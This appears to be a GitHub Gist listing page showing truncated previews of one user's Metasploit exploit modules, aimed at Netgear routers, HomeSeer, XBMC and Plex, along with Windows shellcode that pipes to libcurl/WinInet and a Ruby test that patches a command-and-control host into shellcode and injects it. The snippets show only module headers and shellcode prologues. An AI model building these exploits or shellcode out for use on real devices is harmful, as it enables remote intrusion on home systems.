Skip to content

Instantly share code, notes, and snippets.

@phikshun
phikshun / netgear_telnet_enabler.rb
Created March 18, 2014 23:49
Netgear Telnet Enabler
require 'msf/core'
require 'crypt/blowfish' # sorry, openssl is limited to 16-byte key size :(
# add gem 'crypt', '1.1.4' to Gemfile
module ::Crypt
class Blowfish
def setup_blowfish()
@sBoxes = Array.new(4) { |i| INITIALSBOXES[i].clone }
@pArray = INITIALPARRAY.clone
keypos = 0
@phikshun
phikshun / netgear_upnp_csrf.rb
Created March 18, 2014 23:44
Netgear UPnP CSRF
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'NetGear UPnP CSRF',
@phikshun
phikshun / homeseer_code_execution.rb
Created March 17, 2014 19:58
HomeSeer HS3 Code Execution
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HomeSeer Code Execution Vulnerability',
@phikshun
phikshun / xbmc_remote_exec.rb
Created February 20, 2014 23:31
XBMC EventServer API Metasploit Module
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'XBMC Remote UDP Code Exec',
@phikshun
phikshun / plex_windows_rce.rb
Last active January 9, 2018 21:11
A Plex Drive-By
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Plex Code Execution Vulnerability',
@phikshun
phikshun / https_curl_pipe64.asm
Created September 3, 2012 18:02
LibCurl Pipe Shellcode x64
%define u(x) __utf16__(x)
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
mov rsi, rsp ; ESI points to the current postion of the stack (for ref local var)
sub rsp, 0x2000 ; Allocate some stack space
call start ; Call start, this pushes the address of 'api_call' onto the stack.
@phikshun
phikshun / https_curl_pipe32.asm
Created September 3, 2012 17:53
LibCurl Pipe Shellcode Win32
%define u(x) __utf16__(x)
[BITS 32]
[ORG 0]
cld
mov esi, esp ; ESI points to the current postion of the stack (for ref local var)
sub esp, 0x2000 ; Alloc some space on stack
call start
delta:
@phikshun
phikshun / https_winet_pipe32.asm
Created May 29, 2012 03:08
WinInet Pipe Shellcode
%define u(x) __utf16__(x)
[BITS 32]
[ORG 0]
cld
mov esi, esp ; ESI points to the current postion of the stack (for ref local var)
sub esp, 0x2000 ; Alloc some space on stack
call start
delta:
%include "block_api32.asm"
@phikshun
phikshun / pipe_test.rb
Created May 29, 2012 03:04
WinInet Shellcode Pipe Test
require 'win32/pipe'
require 'timeout'
require 'injector'
def update_https_code(cnc_host, url, params, pipe)
pipe = "\\\\.\\pipe\\#{pipe}"
url = "#{url}\x00\x00\x00\x00\x00\x00" if url.length < 6
params = "\x00" if params.empty?
pipe_offset = (@https_pipe_code =~ /\\\\\.\\pipe\\fooo/)
url_offset = (@https_pipe_code =~ /\/12345/)